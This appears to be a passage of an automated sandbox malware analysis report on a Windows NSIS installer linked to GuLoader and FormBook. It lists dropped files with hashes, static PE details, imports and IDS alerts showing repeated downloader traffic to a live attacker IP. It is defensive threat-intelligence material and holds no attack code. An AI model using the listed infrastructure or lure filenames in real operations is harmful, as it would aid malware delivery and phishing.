	0lMevtsZn2.elf	Get hash	malicious	Mirai	Browse	156.67.60.35
	205.185.120.123-skid.arm5-2024-07-27T10_33_41.elf	Get hash	malicious	Mirai, Moobot	Browse	156.67.60.47

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Cortex.exe	Get hash	malicious	Unknown	Browse	185.86.211.137
	Cortex.exe	Get hash	malicious	Unknown	Browse	185.86.211.137
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.86.211.137
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.86.211.137
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.86.211.137
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.86.211.137
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	185.86.211.137
	mSLEwIfTGL.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.86.211.137
	#docs_8299010377388200191-pdf.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.86.211.137
	175-33-26-24.HTA.hta	Get hash	malicious	Unknown	Browse	185.86.211.137

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll	D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse
	D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe	Get hash	malicious	GuLoader	Browse
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse
	UMOWA_PD.BAT.exe	Get hash	malicious	GuLoader	Browse
	Payment_Advice.1.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Payment_Advice..exe	Get hash	malicious	FormBook, GuLoader	Browse
	Payment_Advice..exe	Get hash	malicious	GuLoader	Browse
	Payment_Advice.1.bat.exe	Get hash	malicious	GuLoader	Browse
	Payment_Advice..exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.805604762622714
Encrypted:	false
SSDEEP:	192:VjHcQ0qWTlt7wi5Aj/lM0sEWD/wtYbBjpNQybC7y+XZv0QPi:B/Qlt7wiij/lMRv/9V4bvr
MD5:	4ADD245D4BA34B04F213409BFE504C07
SHA1:	EF756D6581D70E87D58CC4982E3F4D18E0EA5B09
SHA-256:	9111099EFE9D5C9B391DC132B2FAF0A3851A760D4106D5368E30AC744EB42706
SHA-512:	1BD260CABE5EA3CEFBBC675162F30092AB157893510F45A1B571489E03EBB2903C55F64F89812754D3FE03C8F10012B8078D1261A7E73AC1F87C82F714BCE03D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe, Detection: malicious, Browse Filename: D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe, Detection: malicious, Browse Filename: UMOWA_PD.BAT.exe, Detection: malicious, Browse Filename: UMOWA_PD.BAT.exe, Detection: malicious, Browse Filename: Payment_Advice.1.bat.exe, Detection: malicious, Browse Filename: Payment_Advice..exe, Detection: malicious, Browse Filename: Payment_Advice..exe, Detection: malicious, Browse Filename: Payment_Advice.1.bat.exe, Detection: malicious, Browse Filename: Payment_Advice..exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L...S.d...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\polaritets\Klipbok.Vid

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	data
Category:	dropped
Size (bytes):	146048
Entropy (8bit):	4.6065779762897
Encrypted:	false
SSDEEP:	1536:LL9Fdl//kBP5+LtQdILRCc2U02fKGNMYqCAKNN06YV1e4iHHgGtyH3aYV0fo:3Fl++Ltt2GNxqCdNW6i18rtyH3ao
MD5:	5AF6DF202041C4BFCCFFFC8A316C9A1A
SHA1:	D9F6883DAE12C9E3DFA4A60B5CC4A231481A38B5
SHA-256:	72820F9E966138202338EE85EF716A4352A9624FA5F4E42900C8B08C2FC39865
SHA-512:	BB04146B10189062AA39507952BA1588FA20B21D9B817F889D42BAC22E54F810D1099F63484F309D4A51532FB34DDFF93101197224FC189F1FDA79105001125E
Malicious:	false
Reputation:	low
Preview:	.....YYY..................7......zzz.2.]]]].jj.....S...............HH.(...........9...........;;;;.....u......U.................//.o.E.............R.VV..................HH..............a......?.....r....D...<<<<..............sssss...................C..........................w..................c.........U.......---............^..,,...................TTT.,,,,.................j....VV..(......................................P....^......ZZ.ddd.....................:....''.......2..-...,.........8..b.................o..............222222......q.......#................................!!.....99.....zzz.............l..............\|.............!!!...........L...D...x......=====......##........................s..Y.a........].................UU..?.........XXX.44.................J......L.........www................................S.....BB.............a...........b...........p....uu.....&...............::::.......-.........\|\|................1..U............""........NNN.....a.l.....................

C:\Users\user\polaritets\Muskel.Nit

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	data
Category:	dropped
Size (bytes):	337530
Entropy (8bit):	7.652545988590635
Encrypted:	false
SSDEEP:	6144:PF4NYyYBqXrQZimSkrb1nbm7WbwuZO/NoeWUejQfeT+0hvTT8LOdhkvwx:PFAYE00mSupSgO1duQ2vvH8LOd+wx
MD5:	B9511C05839C7DE7AA19DC47A1E0A224
SHA1:	BC9DDA4E870DAEE63244689DD42AB4E34BB676AD
SHA-256:	DCE2C8C92DB5C0E6CBE667BA1FA4DF04465099C45478CD84ED93B5DCDBEB91C8
SHA-512:	CFEA992238154FBD6C29C788CF79987E863E93ECC04A814F6B94F91E1DA5908EC337FE3786D1488E0DB2A23A71B1F487F606D760E1D223D5FDAC4D2BA1D01E54
Malicious:	false
Reputation:	low
Preview:	.................UU.....PP.........4....8.........77.,,,.E...............................j."......jj...~.....F..........[[........................y..J.........................OOO.....o..........6.....................B...d..........UUUU...............UU.lll...f....C}.K.L.f.m.....Y....rX...8......Rs..lh...k.t...p.x..Z[..I.4.D..........A..s....0.V... N.e.C..a.U......9.u...7.]...&...@..h.\.....).f...f.r.....C.....d.n...iq..G..T..b.+-%>.......(6...`..w.._..;..?..1.,..z.3.o`.v.. .....@<..{..Q.~.!...A...O\|~v.."F...gy.].#..Wc.Uk..J........}.K.L.f.m.f...f.c....3....Y....rX...8......Rs..lh...k.t...p.x..Z[..I4.......@4.D...s....0.V... N.e.C..a.U......9.u...7.]...&...@..h.\.....z.#...f....1..).......d.n...iq..G..T..b.+-%>.......(6...`....f....u...w.._..;..?..1.,..z.3.o`.<..{ ...f....:.Q.~.!...A...O\|~v.."F...gy.].#..Wc.Uk..J........}.K.L.f.m...^!f......B.....Y....rX...8......Rs..lh...k.t...p.x..Z[..I.4.D...s.......f.a....".V... N.e.C..a.U......9.u...7.]..f

C:\Users\user\polaritets\Observationsposters.tor

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	data
Category:	dropped
Size (bytes):	97664
Entropy (8bit):	1.2371741628878217
Encrypted:	false
SSDEEP:	768:XEFQJPKWWG5ARWTJqBshVmdboj6UJY3VBCwYw2ZDRnv+mRQN:XUE/m2O3N
MD5:	2B4D5FD79400969869ED030F4803BE99
SHA1:	163C23302E2DA2B2265A7CD7ED08BE16A3853DCA
SHA-256:	49C47AAA67085C8B38D02DC0F1F792E83FA17D41CE16927888C9085F530E9DB4
SHA-512:	7EE103CCCC54B148E7AD62F37FF4ACFC4438436C6F75D15E5248CB19643348C70F2B63062712817002CE4D173E51A7A0C8B3851FCD0FC0D6E1302838909B1C2D
Malicious:	false
Reputation:	low
Preview:	...........4................................................K..............................................W.......................................N........................................................@...5..................o............................................)............................................................~....=.................................................................................2................................................5.........................!....................................f.....k....%..................................................................................H...............%.@....................................(...........$.................V..........................................................6..6...........................................................................\|....\................................................_........................y...................................................................6..

C:\Users\user\polaritets\drupes.ret

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	data
Category:	dropped
Size (bytes):	244138
Entropy (8bit):	1.252663089946015
Encrypted:	false
SSDEEP:	768:cv49C5wBVa5O2Fx8p7KLOTSo3NTuAG15VTvfAX+H7v+uQVsfpqSC26Pn6DD/SNsg:JBQxurv96jREO3X2r
MD5:	BBD77A921062C9B6CBF4BEDFF50E1514
SHA1:	C25712C5F69E016A364E8898B59E7229E3C5E7A4
SHA-256:	E2882B3589FF6D9FA79AC2D88FC8DE8FD94BA046E8B9796203A4916C73731EAD
SHA-512:	9BDFC20EFFD587EC19B524E36D392F4863C8242C8D4C8C7F81164A0E0DF84C5BF1633400873D0F68C40079113F9F2568706642334FCFDCCE4C6E0B1D7D5FB660
Malicious:	false
Preview:	....'........................`............Z......`.................................$..................S........J.........................................................................................................................................................................-........................N....E.......................y.........................................A..........k.............................2...............................%.........................................P.........................................e........................w.....................p.........................o.......................................F........)........................................~................................................................u.....................................................<...............................}.9......................^.................c.................A..............O.........................................................................\|.

C:\Users\user\polaritets\quodlibetic.fes

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	data
Category:	dropped
Size (bytes):	438128
Entropy (8bit):	1.2562406175237242
Encrypted:	false
SSDEEP:	1536:zN/79C7p5KmH/e6grFLDiN8w27kdDZK5M9aR:hyp5K4e6kFLoMV
MD5:	E883CEF7CF2793E15A52C9BAC1CDE472
SHA1:	1D4973110569354FA072BA3AFF0BD21EA0DF109A
SHA-256:	2FF67336CFEEE418E565B0C79855927FC0CD0B1E9F2F40A59F1CB7EF2328635A
SHA-512:	372BE015C3FA19C0EEAA981803900CA088B92188187A69697EEE808068F8033225BFD2927E2DB54EABEECAC05A421DC6CCCABFE19F39788B4F6D4E6F80CE04A5
Malicious:	false
Preview:	......q......y........................".........................................-....................................................n#............................Jj.........................................................................w.........................$................................................................i.............j.....K...................*.........................................=.........i..........0........~............................[......./.........,........Y.................~..............................................!.......w....................t....................F.......`........................................c.......................j................................................................................................".......................................<..............{..?.J............v........................................................................................................+..................+..................

C:\Users\user\polaritets\roere.hid

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	data
Category:	dropped
Size (bytes):	15722
Entropy (8bit):	1.1774803541140593
Encrypted:	false
SSDEEP:	96:QlmaSsDp47EcNFpMw8GM4Zq+AUUnPMN61WN1:QbSc47/lv8n4Zq+AUQmy4
MD5:	A8FD81B22FDC76D0AAE4ABF40CC1E8F4
SHA1:	ECA25609E68636E12C3AB63D7E9F1B7717CE450A
SHA-256:	13148F74A847C0F474385F1E62C01A5065700A472BF689D7299D3F420A7CC45D
SHA-512:	7E0CE6444E0F402278704066AE74F442684B80959CB90CFABA6A3BBCA1EB754EEBCDE11A61FE17D8DE1F708F035BDC2C7825BF9E8F92D761CE0E78BA68544C6B
Malicious:	false
Preview:	.............L..........................M...................................................................{.........................H.....................................................................................................................................................................................................................................9......8.....'...............}..........................F......................A......aO..........k.....................................................................................P..................................j.......'..:..................................n..............................................~......t.....2...............................................................................{u................................'.................................#.......................................................................t.......j...............r.................................................................

C:\Users\user\polaritets\socialmedicin.sej

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	data
Category:	dropped
Size (bytes):	38361
Entropy (8bit):	1.2166387306020765
Encrypted:	false
SSDEEP:	384:X+F+sq/qAweG+1AI4KbEElQxRqKJOPOXALDW3uYBspm5NfXDZ9:X6M/l17oEnYjP
MD5:	2BF0CAC964058C5B0D73930FC7412775
SHA1:	003BEC59CB10BDD8B5B760C14DB899637E85AFBE
SHA-256:	5A823D12E477927D5133F5B4DE1A5BCB0973FDBBDC4C966C821928CB439FC97A
SHA-512:	303CF2DE6CFC652A10E543E0F6484097042234C786624F1B67668CA254B03DE2CCF4D7EB0FB6E13172F605B1B4B742D8694CF3549952523753C5DDE741975564
Malicious:	false
Preview:	......4......;................g....................................V..................s................................................t........................]...L.........................j...........`.....L..................?........o.............................Oq........................................................................F..............................................................V..................................................C.........../.......{................................................................?...............g.............R....4................................w(........................................c..p.................a....................mt...&..............................X........................Z.......................D.................<.......................h..........b..........X........................................................................m...................0...............F............................w.............r.......

C:\Users\user\polaritets\toader.txt

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	434
Entropy (8bit):	4.305884836882498
Encrypted:	false
SSDEEP:	12:mBX7vwwJDXCuNQLIU/0vkxuYAz8/p7QTrYSCmDEIHlwq+:mBXUWEzR7ylCeEUw
MD5:	3F6632F26EBA2C111F54C97312D4C4EA
SHA1:	8D3FB7505058C8C5CB22133C77213D6B37CDD5F9
SHA-256:	CE8824C6205F36A17C4476BF02839F065009CD15E88970E653CE5F6A89BD9954
SHA-512:	EED0879B222E9F074C109B2FA8548F441AD1A4C1CEF8EDB3BAE6D05308E2916061F2A2835E9252A2EDE27608435E40E8C52849B9DD8D38A5FBBEC995628D28E7
Malicious:	false
Preview:	kumquat equilibrious invector occludes vesteuroperen knippelfines,laparosplenotomy subagents skatkisternes sovehjertet angiospermous abastard caprate efterbyrdens exercised organisationsliniens puberties..ansvarhavendes unhumidified fordjelsesproces forureningsomraades,nondivisive famle illicitly lithophone lattins cubit rougens svmmebrillerne..untestamental transect subfestively subserviently hyldevarer.maaske pastoral overlooks,

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.956957743632461
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe
File size:	559'533 bytes
MD5:	09646b466d4203f0a605120c10248654
SHA1:	e1f6e1bec33b598963a6e017d41e28b72a6e9bbd
SHA256:	7110772ac28b158130afc68ae0f00bdca6832cc826f7f2fbf38fd373feb16b2f
SHA512:	74414f447846f9a51a381a30ab6d08b66cf68f8fcc2ee42ce0fdf41e4914c4dc2b4ab5bd26d85e71f92e3d0ce7badb274ec68973a74506caca26f60d60d80f24
SSDEEP:	12288:qX69L27aMq4PfZ6Vt1wFHLesCqew8wmjAjPJbbiEUW34/:qX69Ln4Pfc9whLTCkmUjBqEUW
TLSH:	13C42343B870D6ABFA651334563683A98AFD7C210291339F2F44BF6EB9289C5D91D343
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L...c..d.................f...".....

File Icon


Icon Hash:	9193c9a1858b8db5

Static PE Info

General

Entrypoint:	0x4034fc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64A0DC63 [Sun Jul 2 02:09:39 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007FD5BCCF916Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007FD5BCCF9138h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [00429AD8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4c000	0x3440	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6556	0x6600	dd25e171f2e0fe45f2800cc9e162537d	False	0.6652113970588235	data	6.456753840355455	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1358	0x1400	f0b500ff912dda10f31f36da3efc8a1e	False	0.44296875	data	5.102094016108248	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x1fb38	0x600	2bc02714ee74ba781d92e94eeaccb080	False	0.501953125	data	4.040639308682379	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x22000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4c000	0x3440	0x3600	5950a4e36f0f510396fb34e6e03b573a	False	0.5579427083333334	data	5.567094918094419	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x4c2f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.7190831556503199
RT_ICON	0x4d1a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.7035198555956679
RT_ICON	0x4da48	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	English	United States	0.33963414634146344
RT_ICON	0x4e0b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.6423410404624278
RT_ICON	0x4e618	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.39381720430107525
RT_ICON	0x4e900	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5101351351351351
RT_DIALOG	0x4ea28	0x100	data	English	United States	0.5234375
RT_DIALOG	0x4eb28	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x4ec48	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x4ed10	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x4ed70	0x5a	data	English	United States	0.7111111111111111
RT_VERSION	0x4edd0	0x248	data	English	United States	0.4811643835616438
RT_MANIFEST	0x4f018	0x423	XML 1.0 document, ASCII text, with very long lines (1059), with no line terminators	English	United States	0.5127478753541076

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T18:58:47.751610+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49760	185.86.211.137	80	TCP
2024-09-27T18:58:59.185256+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49762	185.86.211.137	80	TCP
2024-09-27T18:59:10.556906+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49764	185.86.211.137	80	TCP
2024-09-27T18:59:21.935722+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49766	185.86.211.137	80	TCP
2024-09-27T18:59:33.325398+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49768	185.86.211.137	80	TCP
2024-09-27T18:59:44.705552+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49770	185.86.211.137	80	TCP
2024-09-27T18:59:56.094493+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49772	185.86.211.137	80	TCP
2024-09-27T19:00:07.496901+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49774	185.86.211.137	80	TCP
2024-09-27T19:00:18.916161+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49776	185.86.211.137	80	TCP
2024-09-27T19:00:30.342515+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49778	185.86.211.137	80	TCP
2024-09-27T19:00:41.760682+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49780	185.86.211.137	80	TCP
2024-09-27T19:00:53.143044+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49782	185.86.211.137	80	TCP
2024-09-27T19:01:04.545698+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49784	185.86.211.137	80	TCP
2024-09-27T19:01:15.928596+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49786	185.86.211.137	80	TCP
2024-09-27T19:01:27.349199+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49788	185.86.211.137	80	TCP
2024-09-27T19:01:38.729835+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49790	185.86.211.137	80	TCP
2024-09-27T19:01:50.123296+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49792	185.86.211.137	80	TCP
2024-09-27T19:02:01.456330+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49794	185.86.211.137	80	TCP
2024-09-27T19:02:12.781141+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49796	185.86.211.137	80	TCP
2024-09-27T19:02:24.132559+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49798	185.86.211.137	80	TCP
2024-09-27T19:02:35.473915+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49800	185.86.211.137	80	TCP
2024-09-27T19:02:46.806982+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49802	185.86.211.137	80	TCP
2024-09-27T19:02:58.208496+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49804	185.86.211.137	80	TCP
2024-09-27T19:03:09.605737+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49806	185.86.211.137	80	TCP
2024-09-27T19:03:21.004755+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49808	185.86.211.137	80	TCP
2024-09-27T19:03:32.395677+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49810	185.86.211.137	80	TCP
2024-09-27T19:03:43.781785+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49812	185.86.211.137	80	TCP
2024-09-27T19:03:55.177444+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49814	185.86.211.137	80	TCP
2024-09-27T19:04:06.538561+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49816	185.86.211.137	80	TCP
2024-09-27T19:04:17.913613+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49818	185.86.211.137	80	TCP
2024-09-27T19:04:29.253065+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49820	185.86.211.137	80	TCP
